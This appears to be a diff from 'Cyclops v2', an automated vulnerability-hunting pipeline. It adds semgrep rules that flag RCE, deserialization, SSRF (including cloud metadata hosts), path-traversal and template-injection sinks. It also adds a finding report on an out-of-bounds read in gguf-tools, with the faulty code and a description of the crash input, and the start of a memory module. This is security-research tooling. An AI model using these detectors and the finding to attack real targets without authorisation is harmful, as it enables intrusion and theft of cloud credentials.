+ - pattern: $CP.execFileSync(...)
+ - pattern: $CP.spawn(...)
+ - pattern: $CP.spawnSync(...)
+ - pattern: child_process.exec(...)
+ - pattern: require('child_process').exec(...)
+
+ - id: cyc-js-eval-function
+ languages: [javascript, typescript]
+ severity: ERROR
+ message: >
+ eval / new Function / vm.runIn*Context execute attacker-influenced source -> RCE. IMPACT GATE:
+ Family 1.
+ metadata:
+ cwe: ["CWE-95: Eval Injection"]
+ confidence: HIGH
+ archetype: [electron-desktop, ai-agent-mcp]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: eval(...)
+ - pattern: new Function(...)
+ - pattern: $VM.runInThisContext(...)
+ - pattern: $VM.runInNewContext(...)
+ - pattern: $VM.runInContext(...)
+
+ - id: cyc-java-runtime-exec
+ languages: [java]
+ severity: ERROR
+ message: >
+ Runtime.exec / ProcessBuilder with attacker-influenced arguments -> command injection. IMPACT
+ GATE: Family 1.
+ metadata:
+ cwe: ["CWE-78: OS Command Injection"]
+ confidence: HIGH
+ archetype: [devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: Runtime.getRuntime().exec(...)
+ - pattern: new ProcessBuilder(...)
+ - pattern: $SE.eval(...)
+
+ - id: cyc-c-system-exec
+ languages: [c, cpp]
+ severity: ERROR
+ message: >
+ system() / popen() / exec*() with attacker-influenced strings -> command injection. IMPACT
+ GATE: Family 1.
+ metadata:
+ cwe: ["CWE-78: OS Command Injection"]
+ confidence: HIGH
+ archetype: [memory-unsafe-parsers, devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: system(...)
+ - pattern: popen(...)
+ - pattern: execl(...)
+ - pattern: execlp(...)
+ - pattern: execve(...)
+ - pattern: execvp(...)
brain/semgrep-rules/deserialization.yaml +144 -0
@@ -0,0 +1,144 @@
+rules:
+ # =====================================================================
+ # Cyclops v2 - semgrep fast-pass triage. SINK CLASS: untrusted deserialization -> RCE.
+ # SEVERITY-GATE Family 1. A match here is a CANDIDATE SINK (hypothesis), handed to the Joern
+ # dataflow pass to confirm reachability, then to the dynamic oracle to PROVE (popped shell /
+ # gadget execution). A match alone is NOT a finding.
+ # =====================================================================
+
+ - id: cyc-py-pickle-load
+ languages: [python]
+ severity: ERROR
+ message: >
+ pickle.load/loads on untrusted data is RCE-by-design (gadget via __reduce__).
+ IMPACT GATE: Family 1 RCE if the bytes are attacker-controlled. Confirm source->sink in Joern,
+ then prove with an executing gadget (callback / command output).
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [ml-model-loaders, ai-agent-mcp]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: pickle.loads(...)
+ - pattern: pickle.load(...)
+ - pattern: cPickle.loads(...)
+ - pattern: cPickle.load(...)
+ - pattern: _pickle.loads(...)
+ - pattern: dill.loads(...)
+ - pattern: dill.load(...)
+ - pattern: cloudpickle.loads(...)
+ - pattern: cloudpickle.load(...)
+
+ - id: cyc-py-yaml-unsafe-load
+ languages: [python]
+ severity: ERROR
+ message: >
+ yaml.load without SafeLoader (or yaml.unsafe_load/full_load) constructs arbitrary Python
+ objects -> RCE. IMPACT GATE: Family 1. yaml.safe_load is the safe form and is intentionally
+ NOT matched.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [devops-infra, ai-agent-mcp]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: yaml.load($X)
+ - pattern: yaml.unsafe_load(...)
+ - pattern: yaml.full_load(...)
+ - pattern-not: yaml.load($X, Loader=yaml.SafeLoader)
+ - pattern-not: yaml.load($X, Loader=SafeLoader)
+
+ - id: cyc-py-ml-unsafe-load
+ languages: [python]
+ severity: ERROR
+ message: >
+ torch.load / joblib.load / numpy.load(allow_pickle=True) / pandas.read_pickle deserialize via
+ pickle under the hood -> RCE from a malicious model/array file. IMPACT GATE: Family 1, the
+ model-file RCE class (ml-model-loaders archetype).
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [ml-model-loaders]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: torch.load(...)
+ - pattern: joblib.load(...)
+ - pattern: pandas.read_pickle(...)
+ - pattern: pd.read_pickle(...)
+ - pattern: numpy.load(..., allow_pickle=True, ...)
+ - pattern: np.load(..., allow_pickle=True, ...)
+
+ - id: cyc-py-marshal-shelve
+ languages: [python]
+ severity: ERROR
+ message: >
+ marshal.loads / shelve.open deserialize untrusted bytes into executable/code objects.
+ IMPACT GATE: Family 1 if the source is attacker-controlled.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: MEDIUM
+ archetype: [ml-model-loaders, devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: marshal.loads(...)
+ - pattern: marshal.load(...)
+ - pattern: shelve.open(...)
+
+ - id: cyc-java-objectinputstream
+ languages: [java]
+ severity: ERROR
+ message: >
+ ObjectInputStream.readObject on untrusted bytes is the canonical Java deserialization RCE
+ (ysoserial gadget chains). IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: (ObjectInputStream $OIS).readObject()
+ - pattern: $OIS.readObject()
+ - pattern: $OIS.readUnshared()
+ - pattern: new ObjectInputStream(...)
+ - metavariable-regex:
+ metavariable: $OIS
+ regex: "(?i).*(ois|objectinput|in|stream).*"
+
+ - id: cyc-java-other-deser
+ languages: [java]
+ severity: ERROR
+ message: >
+ XStream.fromXML / SnakeYAML new Yaml().load / Kryo.readObject deserialize untrusted input into
+ arbitrary types -> RCE. IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: MEDIUM
+ archetype: [devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: $X.fromXML(...)
+ - pattern: new Yaml().load(...)
+ - pattern: $K.readClassAndObject(...)
+
+ - id: cyc-js-node-serialize
+ languages: [javascript, typescript]
+ severity: ERROR
+ message: >
+ node-serialize unserialize() executes an IIFE embedded in the payload -> RCE. IMPACT GATE:
+ Family 1.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [ai-agent-mcp, devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: $S.unserialize(...)
+ - pattern: serialize.unserialize(...)
+ - pattern: $F.deepDeserialize(...)
brain/semgrep-rules/electron.yaml +112 -0
@@ -0,0 +1,112 @@
+rules:
+ # Cyclops v2 - semgrep fast-pass. SINK CLASS: Electron renderer->main RCE & unsafe webPreferences.
+ # SEVERITY-GATE Family 1. Archetype: electron-desktop. Match = CANDIDATE; Joern confirms the
+ # renderer-controlled IPC/protocol arg reaches the sink; the oracle proves with command output.
+
+ - id: cyc-electron-ipc-to-exec
+ languages: [javascript, typescript]
+ severity: ERROR
+ message: >
+ An ipcMain handler that calls child_process / eval / Function is a renderer->main RCE CANDIDATE:
+ the renderer controls the IPC args. IMPACT GATE: Family 1. Confirm the arg reaches the sink in
+ Joern; prove with a callback from the main process.
+ metadata:
+ cwe: ["CWE-78: OS Command Injection", "CWE-95: Eval Injection"]
+ confidence: HIGH
+ archetype: [electron-desktop]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - patterns:
+ - pattern-inside: ipcMain.handle($CH, function (...) {...})
+ - pattern-either:
+ - pattern: $CP.exec(...)
+ - pattern: $CP.execSync(...)
+ - pattern: $CP.spawn(...)
+ - pattern: eval(...)
+ - pattern: new Function(...)
+ - patterns:
+ - pattern-inside: ipcMain.on($CH, function (...) {...})
+ - pattern-either:
+ - pattern: $CP.exec(...)
+ - pattern: $CP.execSync(...)
+ - pattern: $CP.spawn(...)
+ - pattern: eval(...)
+ - pattern: new Function(...)
+ - patterns:
+ - pattern-inside: "ipcMain.handle($CH, (...) => {...})"
+ - pattern-either:
+ - pattern: $CP.exec(...)
+ - pattern: $CP.execSync(...)
+ - pattern: $CP.spawn(...)
+ - pattern: eval(...)
+ - pattern: new Function(...)
+ - patterns:
+ - pattern-inside: "ipcMain.on($CH, (...) => {...})"
+ - pattern-either:
+ - pattern: $CP.exec(...)
+ - pattern: $CP.execSync(...)
+ - pattern: $CP.spawn(...)
+ - pattern: eval(...)
+ - pattern: new Function(...)
+
+ - id: cyc-electron-shell-openexternal
+ languages: [javascript, typescript]
+ severity: ERROR
+ message: >
+ shell.openExternal / shell.openPath with a renderer-influenced argument can launch arbitrary
+ programs / file: URIs -> RCE. IMPACT GATE: Family 1. Confirm taint in Joern.
+ metadata:
+ cwe: ["CWE-749: Exposed Dangerous Method", "CWE-78: OS Command Injection"]
+ confidence: MEDIUM
+ archetype: [electron-desktop]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: shell.openExternal(...)
+ - pattern: shell.openPath(...)
+ - pattern: $S.openExternal(...)
+
+ - id: cyc-electron-unsafe-webprefs
+ languages: [javascript, typescript]
+ severity: WARNING
+ message: >
+ Unsafe BrowserWindow webPreferences (nodeIntegration:true / contextIsolation:false /
+ sandbox:false / webSecurity:false) collapse the renderer/main trust boundary, turning any XSS
+ in loaded content into full Node RCE. IMPACT GATE: enables Family 1. This is a CONFIG candidate,
+ not a dataflow finding - pair with an XSS/remote-content sink.
+ metadata:
+ cwe: ["CWE-1188: Insecure Default Initialization", "CWE-829: Inclusion of Untrusted Functionality"]
+ confidence: MEDIUM
+ archetype: [electron-desktop]
+ impact: rce-enabler
+ patterns:
+ - pattern-either:
+ - pattern: "nodeIntegration: true"
+ - pattern: "contextIsolation: false"
+ - pattern: "sandbox: false"
+ - pattern: "webSecurity: false"
+ - pattern: "allowRunningInsecureContent: true"
+
+ - id: cyc-electron-executejs
+ languages: [javascript, typescript]
+ severity: WARNING
+ message: >
+ webContents.executeJavaScript / loadURL with a tainted string injects code/navigation into a
+ privileged context. IMPACT GATE: Family 1 if combined with node-enabled context. Confirm taint
+ in Joern.
+ metadata:
+ cwe: ["CWE-95: Eval Injection"]
+ confidence: MEDIUM
+ archetype: [electron-desktop]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: $WC.executeJavaScript($X, ...)
+ - pattern: $WC.loadURL($X, ...)
+ - metavariable-pattern:
+ metavariable: $X
+ patterns:
+ - pattern-not: "\"...\""
+ - pattern-not: "'...'"
+ - pattern-not: "`...`"
brain/semgrep-rules/ml-unsafe-load.yaml +98 -0
@@ -0,0 +1,98 @@
+rules:
+ # Cyclops v2 - semgrep fast-pass. SINK CLASS: unsafe ML model/asset loading -> RCE.
+ # SEVERITY-GATE Family 1. Archetype: ml-model-loaders. This is the model-FILE RCE class: a
+ # serialized model from an untrusted source executes code on load. Match = CANDIDATE; the oracle
+ # proves with a malicious-model -> callback/command-output.
+
+ - id: cyc-ml-torch-load
+ languages: [python]
+ severity: ERROR
+ message: >
+ torch.load uses pickle by default; a crafted checkpoint runs arbitrary code on load. Even
+ weights_only=False (default before torch 2.6) is exploitable. IMPACT GATE: Family 1 (malicious
+ model file). Safe form: torch.load(..., weights_only=True).
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [ml-model-loaders]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: torch.load($P)
+ - pattern: torch.load($P, weights_only=False, ...)
+ - pattern: torch.jit.load($P, ...)
+ - pattern-not: torch.load($P, weights_only=True, ...)
+
+ - id: cyc-ml-joblib-numpy-pandas
+ languages: [python]
+ severity: ERROR
+ message: >
+ joblib.load / numpy.load(allow_pickle=True) / pandas.read_pickle deserialize via pickle ->
+ arbitrary code from a malicious artifact. IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [ml-model-loaders]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: joblib.load(...)
+ - pattern: numpy.load(..., allow_pickle=True, ...)
+ - pattern: np.load(..., allow_pickle=True, ...)
+ - pattern: pandas.read_pickle(...)
+ - pattern: pd.read_pickle(...)
+
+ - id: cyc-ml-keras-tf
+ languages: [python]
+ severity: ERROR
+ message: >
+ keras.models.load_model on an .h5/.keras file can execute a Lambda layer's pickled code, and
+ load_model from an untrusted SavedModel can run code. IMPACT GATE: Family 1 (malicious model).
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: MEDIUM
+ archetype: [ml-model-loaders]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: keras.models.load_model(...)
+ - pattern: tf.keras.models.load_model(...)
+ - pattern: load_model(...)
+
+ - id: cyc-ml-hf-trust-remote-code
+ languages: [python]
+ severity: ERROR
+ message: >
+ transformers from_pretrained / pipeline with trust_remote_code=True downloads and EXECUTES the
+ model repo's custom Python (modeling_*.py) -> RCE from a malicious Hub model. IMPACT GATE:
+ Family 1, the AI supply-chain RCE class.
+ metadata:
+ cwe: ["CWE-494: Download of Code Without Integrity Check", "CWE-829: Inclusion of Untrusted Functionality"]
+ confidence: HIGH
+ archetype: [ml-model-loaders, ai-agent-mcp, cicd-supplychain]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: $M.from_pretrained(..., trust_remote_code=True, ...)
+ - pattern: transformers.pipeline(..., trust_remote_code=True, ...)
+ - pattern: AutoModel.from_pretrained(..., trust_remote_code=True, ...)
+ - pattern: AutoModelForCausalLM.from_pretrained(..., trust_remote_code=True, ...)
+ - pattern: AutoTokenizer.from_pretrained(..., trust_remote_code=True, ...)
+
+ - id: cyc-ml-pickle-direct
+ languages: [python]
+ severity: ERROR
+ message: >
+ Direct pickle/dill/cloudpickle load of model bytes -> RCE. Common in custom checkpoint loaders.
+ IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-502: Deserialization of Untrusted Data"]
+ confidence: HIGH
+ archetype: [ml-model-loaders]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: pickle.load(...)
+ - pattern: pickle.loads(...)
+ - pattern: dill.load(...)
+ - pattern: cloudpickle.load(...)
brain/semgrep-rules/path-traversal.yaml +113 -0
@@ -0,0 +1,113 @@
+rules:
+ # Cyclops v2 - semgrep fast-pass. SINK CLASS: path traversal / arbitrary file read+write / zip-slip.
+ # SEVERITY-GATE Family 7. Match = CANDIDATE SINK. The oracle must retrieve a real secret's CONTENTS
+ # (or land a write that executes) - /etc/passwd is a primitive demo, not the impact.
+
+ - id: cyc-py-zipslip
+ languages: [python]
+ severity: ERROR
+ message: >
+ ZipFile.extractall / TarFile.extractall trusts archive entry names; a `../` entry escapes the
+ target dir (zip-slip) -> arbitrary file WRITE, chainable to RCE (drop into a startup/.pth/cron
+ path). IMPACT GATE: Family 7 -> Family 1.
+ metadata:
+ cwe: ["CWE-22: Path Traversal", "CWE-29: Path Traversal ZipSlip"]
+ confidence: HIGH
+ archetype: [ml-model-loaders, devops-infra]
+ impact: arbitrary-file-write
+ patterns:
+ - pattern-either:
+ - pattern: $Z.extractall(...)
+ - pattern: $Z.extract(...)
+ - pattern: zipfile.ZipFile(...).extractall(...)
+ - pattern: tarfile.open(...).extractall(...)
+
+ - id: cyc-py-file-open-tainted
+ languages: [python]
+ severity: WARNING
+ message: >
+ open() / send_file() with a non-literal path is a path-traversal CANDIDATE if the path is
+ attacker-controlled and not normalized+allowlisted. IMPACT GATE: Family 7 (arbitrary file read).
+ Confirm taint in Joern; literal paths are not matched.
+ metadata:
+ cwe: ["CWE-22: Path Traversal"]
+ confidence: MEDIUM
+ archetype: [devops-infra, ai-agent-mcp]
+ impact: arbitrary-file-read
+ patterns:
+ - pattern-either:
+ - pattern: open($P, ...)
+ - pattern: open($P)
+ - pattern: send_file($P, ...)
+ - pattern: send_from_directory(..., $P, ...)
+ - pattern: flask.send_file($P, ...)
+ - metavariable-pattern:
+ metavariable: $P
+ patterns:
+ - pattern-not: "\"...\""
+ - pattern-not: "'...'"
+
+ - id: cyc-js-fs-tainted
+ languages: [javascript, typescript]
+ severity: WARNING
+ message: >
+ fs read/write with a non-literal path is a path-traversal CANDIDATE. res.sendFile / res.download
+ with a tainted path serves arbitrary files. IMPACT GATE: Family 7. Confirm taint in Joern.
+ metadata:
+ cwe: ["CWE-22: Path Traversal"]
+ confidence: MEDIUM
+ archetype: [electron-desktop, devops-infra]
+ impact: arbitrary-file-read
+ patterns:
+ - pattern-either:
+ - pattern: fs.readFile($P, ...)
+ - pattern: fs.readFileSync($P, ...)
+ - pattern: fs.createReadStream($P, ...)
+ - pattern: fs.writeFile($P, ...)
+ - pattern: fs.writeFileSync($P, ...)
+ - pattern: $RES.sendFile($P, ...)
+ - pattern: $RES.download($P, ...)
+ - metavariable-pattern:
+ metavariable: $P
+ patterns:
+ - pattern-not: "\"...\""
+ - pattern-not: "'...'"
+
+ - id: cyc-java-zipslip-file
+ languages: [java]
+ severity: ERROR
+ message: >
+ new File(dir, zipEntry.getName()) / Files.copy with an archive-controlled name is zip-slip ->
+ arbitrary file write. Also flags File/FileInputStream built from request input. IMPACT GATE:
+ Family 7 -> Family 1.
+ metadata:
+ cwe: ["CWE-22: Path Traversal", "CWE-29: Path Traversal ZipSlip"]
+ confidence: MEDIUM
+ archetype: [devops-infra]
+ impact: arbitrary-file-write
+ patterns:
+ - pattern-either:
+ - pattern: new File($DIR, $E.getName())
+ - pattern: Files.copy($IN, $DEST, ...)
+ - pattern: new FileOutputStream(new File($DIR, $E.getName()))
+
+ - id: cyc-c-fopen-tainted
+ languages: [c, cpp]
+ severity: WARNING
+ message: >
+ fopen/open with a non-literal path is a path-traversal CANDIDATE in native parsers/servers.
+ IMPACT GATE: Family 7. Confirm taint in Joern.
+ metadata:
+ cwe: ["CWE-22: Path Traversal"]
+ confidence: MEDIUM
+ archetype: [memory-unsafe-parsers, devops-infra]
+ impact: arbitrary-file-read
+ patterns:
+ - pattern-either:
+ - pattern: fopen($P, ...)
+ - pattern: open($P, ...)
+ - pattern: openat($D, $P, ...)
+ - metavariable-pattern:
+ metavariable: $P
+ patterns:
+ - pattern-not: "\"...\""
brain/semgrep-rules/ssrf.yaml +99 -0
@@ -0,0 +1,99 @@
+rules:
+ # Cyclops v2 - semgrep fast-pass. SINK CLASS: Server-Side Request Forgery.
+ # SEVERITY-GATE Family 7. Match = CANDIDATE SINK. A bare outbound/DNS callback is blind-SSRF
+ # reachability, NOT a finding. The oracle must terminate in impact: metadata credential captured,
+ # internal-admin action, or SSRF->RCE.
+
+ - id: cyc-py-http-tainted-url
+ languages: [python]
+ severity: WARNING
+ message: >
+ HTTP client called with a non-literal URL is an SSRF CANDIDATE if the URL/host is
+ attacker-controlled with no allowlist. IMPACT GATE: Family 7 (metadata cred / internal admin).
+ Confirm taint in Joern; prioritize flows that can reach 169.254.169.254 / metadata endpoints.
+ metadata:
+ cwe: ["CWE-918: Server-Side Request Forgery"]
+ confidence: MEDIUM
+ archetype: [ai-agent-mcp, ml-model-loaders, devops-infra]
+ impact: ssrf
+ patterns:
+ - pattern-either:
+ - pattern: requests.get($U, ...)
+ - pattern: requests.post($U, ...)
+ - pattern: requests.put($U, ...)
+ - pattern: requests.request($M, $U, ...)
+ - pattern: requests.head($U, ...)
+ - pattern: urllib.request.urlopen($U, ...)
+ - pattern: urllib.request.urlretrieve($U, ...)
+ - pattern: urllib2.urlopen($U, ...)
+ - pattern: httpx.get($U, ...)
+ - pattern: httpx.post($U, ...)
+ - pattern: aiohttp.ClientSession(...).get($U, ...)
+ - metavariable-pattern:
+ metavariable: $U
+ patterns:
+ - pattern-not: "\"...\""
+ - pattern-not: "'...'"
+
+ - id: cyc-js-http-tainted-url
+ languages: [javascript, typescript]
+ severity: WARNING
+ message: >
+ fetch / axios / http.get with a non-literal URL is an SSRF CANDIDATE. IMPACT GATE: Family 7.
+ Confirm taint in Joern.
+ metadata:
+ cwe: ["CWE-918: Server-Side Request Forgery"]
+ confidence: MEDIUM
+ archetype: [ai-agent-mcp, devops-infra, electron-desktop]
+ impact: ssrf
+ patterns:
+ - pattern-either:
+ - pattern: fetch($U, ...)
+ - pattern: axios($U, ...)
+ - pattern: axios.get($U, ...)
+ - pattern: axios.post($U, ...)
+ - pattern: axios.request($U, ...)
+ - pattern: http.get($U, ...)
+ - pattern: http.request($U, ...)
+ - pattern: https.get($U, ...)
+ - pattern: https.request($U, ...)
+ - pattern: got($U, ...)
+ - metavariable-pattern:
+ metavariable: $U
+ patterns:
+ - pattern-not: "\"...\""
+ - pattern-not: "'...'"
+ - pattern-not: "`...`"
+
+ - id: cyc-java-http-ssrf
+ languages: [java]
+ severity: WARNING
+ message: >
+ new URL(...).openConnection / HttpClient.send / RestTemplate / OkHttp with a tainted URL is an
+ SSRF CANDIDATE. IMPACT GATE: Family 7. Confirm taint in Joern.
+ metadata:
+ cwe: ["CWE-918: Server-Side Request Forgery"]
+ confidence: MEDIUM
+ archetype: [devops-infra]
+ impact: ssrf
+ patterns:
+ - pattern-either:
+ - pattern: new URL($U).openConnection()
+ - pattern: $CLIENT.send($REQ, ...)
+ - pattern: $RT.getForObject($U, ...)
+ - pattern: $RT.exchange($U, ...)
+
+ - id: cyc-ssrf-metadata-host-literal
+ languages: [python, javascript, typescript, java, go]
+ severity: ERROR
+ message: >
+ A cloud metadata / link-local host literal appears in code reachable by a request sink. If
+ reachable with attacker influence this is the high-value SSRF->credential path. IMPACT GATE:
+ Family 7 (metadata cred captured). Prioritize for the oracle.
+ metadata:
+ cwe: ["CWE-918: Server-Side Request Forgery"]
+ confidence: LOW
+ archetype: [ai-agent-mcp, devops-infra]
+ impact: ssrf-metadata
+ patterns:
+ - pattern-regex: "169\\.254\\.169\\.254|metadata\\.google\\.internal|100\\.100\\.100\\.200|169\\.254\\.170\\.2"
brain/semgrep-rules/template-injection.yaml +80 -0
@@ -0,0 +1,80 @@
+rules:
+ # Cyclops v2 - semgrep fast-pass. SINK CLASS: Server-Side Template Injection (SSTI) -> RCE.
+ # SEVERITY-GATE Family 1. Match = CANDIDATE SINK (a from-STRING template compile/render). The
+ # oracle must land a gadget returning command output; `{{7*7}}`->`49` is eval, not RCE.
+ # File-based render_template() is generally safe and is intentionally not matched.
+
+ - id: cyc-py-jinja-from-string
+ languages: [python]
+ severity: ERROR
+ message: >
+ render_template_string / Environment.from_string / Template(...) builds a template from a
+ string; if that string is attacker-controlled it is SSTI -> RCE. IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-1336: Server-Side Template Injection", "CWE-94: Code Injection"]
+ confidence: HIGH
+ archetype: [ai-agent-mcp, devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: render_template_string(...)
+ - pattern: flask.render_template_string(...)
+ - pattern: $ENV.from_string(...)
+ - pattern: jinja2.Template(...)
+ - pattern: Template(...).render(...)
+
+ - id: cyc-py-mako-tornado
+ languages: [python]
+ severity: ERROR
+ message: >
+ Mako / Tornado Template built from a tainted string is SSTI -> RCE (Mako allows arbitrary
+ Python in `<% %>`). IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-1336: Server-Side Template Injection"]
+ confidence: MEDIUM
+ archetype: [devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: mako.template.Template(...)
+ - pattern: tornado.template.Template(...)
+
+ - id: cyc-js-template-compile
+ languages: [javascript, typescript]
+ severity: ERROR
+ message: >
+ Handlebars.compile / ejs.render / pug.compile / lodash _.template / nunjucks.renderString on a
+ tainted template string is SSTI -> RCE in Node. IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-1336: Server-Side Template Injection"]
+ confidence: HIGH
+ archetype: [ai-agent-mcp, devops-infra, electron-desktop]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: Handlebars.compile(...)
+ - pattern: Handlebars.precompile(...)
+ - pattern: ejs.render($T, ...)
+ - pattern: ejs.compile($T, ...)
+ - pattern: pug.compile($T, ...)
+ - pattern: pug.render($T, ...)
+ - pattern: jade.compile($T, ...)
+ - pattern: _.template($T, ...)
+ - pattern: nunjucks.renderString($T, ...)
+
+ - id: cyc-java-template-injection
+ languages: [java]
+ severity: ERROR
+ message: >
+ Freemarker Template / Velocity.evaluate / Thymeleaf processed from a tainted string is SSTI ->
+ RCE. IMPACT GATE: Family 1.
+ metadata:
+ cwe: ["CWE-1336: Server-Side Template Injection"]
+ confidence: MEDIUM
+ archetype: [devops-infra]
+ impact: rce
+ patterns:
+ - pattern-either:
+ - pattern: new Template($N, $R, ...)
+ - pattern: Velocity.evaluate(...)
+ - pattern: $VE.evaluate(...)
findings/F001-gguf-tools-oob-read.md +44 -0
@@ -0,0 +1,44 @@
+# F001 - Out-of-bounds read in antirez/gguf-tools `gguf_get_key`
+
+- **Target:** github.com/antirez/gguf-tools @ fdfafbe (`gguflib.c`)
+- **Archetype:** ml-model-loaders · **Sink class:** memory-corruption (CWE-125)
+- **Proof:** REPLICA_CONFIRMED - ASan SEGV, reproducible, 46-byte input
+- **Found:** 2026-06-11, by Cyclops v2 (brain: 210 dataflow paths; oracle: crash in ~8s, 15 execs)
+- **Severity (honest):** MEDIUM - out-of-bounds **READ** → crash (DoS) with info-leak
+ potential. **NOT RCE.** Not inflated. (v1 would have called a SEGV "HIGH/RCE"; v2 does not.)
+
+## Root cause
+`gguf_get_key` (gguflib.c:185-205) reads a 64-bit string length directly from the
+attacker-controlled mmapped file and uses it to compute a pointer with **no bounds
+check against the mapped size** (`ctx->size`):
+
+```c
+struct gguf_string *str = (struct gguf_string*)(ctx->data + ctx->off);
+key->namelen = str->len; // attacker-controlled, unchecked
+uint32_t *type = (uint32_t*)(ctx->data + ctx->off + 8 + str->len); // gguflib.c:192
+key->type = *type; // <- OOB READ deref -> SEGV
+```
+
+The whole parser trusts file-supplied lengths/counts (same pattern in `gguf_get_tensor`,
+`gguf_set_data_offset`). The PoC declares a key of length 0x1007a in a 46-byte file →
+`ctx->data + off + 8 + 0x1007a` points far past the mmap → SEGV READ at `gguflib.c:192`.
+
+## Reproducer
+`crash-af68b4...` (46 bytes): `GGUF` magic, version 3, 0 tensors, 1 kv, key-length field
+= 0x1007a. ASan: `SEGV ... READ ... in gguf_get_key gguflib.c:192`.
+
+## Honest assessment / value
+- **The bug is real and reproducible**, but gguf-tools is a **reference/utility** toolkit,
+ not a server that ingests untrusted uploads - antirez likely treats malformed-file
+ crashes as out-of-scope, and there is no bounty. **Low report value. Likely won't-fix.**
+- **This is the right bug CLASS, wrong target for $.** The identical class is minting real
+ CVEs *right now* in GGUF loaders that DO process untrusted models:
+ - **CVE-2026-7482 "Bleeding Llama"** (May 2026) - Ollama heap OOB read in the GGUF loader
+ via `/api/create`, unauthenticated.
+ - **CVE-2024-23496** - GGML `gguf_fread_str` heap overflow.
+ - Databricks: GGML GGUF parsing does "almost no bounds checking."
+
+## Disposition
+Record as validated machine output; **do not submit** (low-value target). **Pivot the same
+harness+brain to llama.cpp/GGML and Ollama's GGUF loader** - embedded everywhere, processes
+untrusted models, active CVE surface, real disclosure/bounty value.
memory/memory.py +221 -0
@@ -0,0 +1,221 @@
+#!/usr/bin/env python3
+"""
+Cyclops v2 - unified memory layer.
+
+Three stores, each with a distinct job (no overlap, all actually used):
+ - KuzuDB graph : structural knowledge + state. Targets, archetypes, sinks,
+ dataflow hypotheses, oracle proofs, findings, and CLEARED AXES.
+ This is what stops drift/tunnel-vision: the agent queries
+ "what have I already cleared on this target?" before acting.
+ - Chroma : semantic recall over prior reasoning / methods / failed attempts.
+ - Redis : working memory - the live job queue + content-addressed analysis
+ cache (never re-CPG the same commit) + per-run scratch.
+
+Design rule (anti-slop): a FINDING node may only be created once an oracle PROOF
+node with a real execution artifact is attached. A dataflow HYPOTHESIS is not a
+finding. memory.promote_to_finding() enforces this.
+"""
+import os, sys, json, time, hashlib
+import kuzu
+import redis as redislib
+
+# Location-relative: resolves to the repo root wherever it's deployed (/opt/cyclops-v2 on the
+# forge, /shared/projects/cyclops-v2 on CT215). Override with CYCLOPS_HOME if ever needed.
+CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME") or os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+GRAPH_PATH = os.path.join(CYCLOPS_HOME, "memory", "graph.kuzu")
+# Engine runs ON the forge box; Redis is forge-local (localhost only - never bind
+# Redis to the LAN, that is literally an impact-family on our own severity gate).
+REDIS_URL = os.environ.get("CYCLOPS_REDIS", "redis://127.0.0.1:6379/3")
+
+# ---------------------------------------------------------------- graph schema
+SCHEMA = [
+ # node tables
+ """CREATE NODE TABLE IF NOT EXISTS Archetype(
+ name STRING, description STRING, PRIMARY KEY(name))""",
+ """CREATE NODE TABLE IF NOT EXISTS Target(
+ id STRING, repo STRING, archetype STRING, lang STRING,
+ commit STRING, released_at STRING, active BOOLEAN, status STRING,
+ first_seen STRING, PRIMARY KEY(id))""",
+ """CREATE NODE TABLE IF NOT EXISTS SinkClass(
+ name STRING, cwe STRING, impact_family STRING, PRIMARY KEY(name))""",
+ # a dataflow path the brain found: source -> sink, REACHABLE, not yet proven
+ """CREATE NODE TABLE IF NOT EXISTS Hypothesis(
+ id STRING, target STRING, sink_class STRING, file STRING, line INT64,
+ source STRING, sink STRING, tool STRING, created_at STRING,
+ status STRING, PRIMARY KEY(id))""",
+ # an execution artifact from the oracle (ASan crash, popped shell, etc.)
+ """CREATE NODE TABLE IF NOT EXISTS Proof(
+ id STRING, hypothesis STRING, label STRING, oracle STRING,
+ artifact_path STRING, summary STRING, created_at STRING,
+ PRIMARY KEY(id))""",
+ # only created when a Proof exists; carries the severity-gate impact family
